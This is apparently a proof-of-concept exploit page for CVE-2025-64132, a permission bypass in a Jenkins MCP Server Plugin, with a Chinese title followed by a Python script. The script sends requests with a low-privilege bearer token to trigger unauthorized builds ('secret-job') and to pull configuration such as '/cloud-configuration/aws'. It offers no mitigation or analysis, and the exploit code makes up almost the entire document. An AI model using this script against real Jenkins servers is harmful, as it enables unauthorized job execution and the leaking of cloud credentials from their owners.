CVE-2025-64132: Jenkins MCP Server Plugin权限绕过漏洞

import requests import json # CVE-2025-64132 PoC - Jenkins MCP Server Plugin Unauthorized Access # Target: Jenkins server with vulnerable MCP Server Plugin TARGET = "http://target-jenkins:8080" MCP_ENDPOINT = f"{TARGET}/mcp/v1/tools" def exploit_trigger_build(job_name): """Trigger unauthorized build without proper permissions""" payload = { "tool": "trigger_build", "arguments": { "job_name": job_name, "parameters": {} } } headers = { "Content-Type": "application/json", "Authorization": "Bearer <low-privilege-token>" } response = requests.post(MCP_ENDPOINT, json=payload, headers=headers) return response.json() def exploit_get_config(resource_path): """Retrieve unauthorized configuration information""" payload = { "tool": "get_config", "arguments": { "resource": resource_path } } headers = { "Content-Type": "application/json", "Authorization": "Bearer <low-privilege-token>" } response = requests.post(MCP_ENDPOINT, json=payload, headers=headers) return response.json() # Example usage if __name__ == "__main__": # Trigger unauthorized build result = exploit_trigger_build("secret-job") print(f"Build triggered: {result}") # Get unauthorized configuration config = exploit_get_config("/cloud-configuration/aws") print(f"Config leaked: {config}")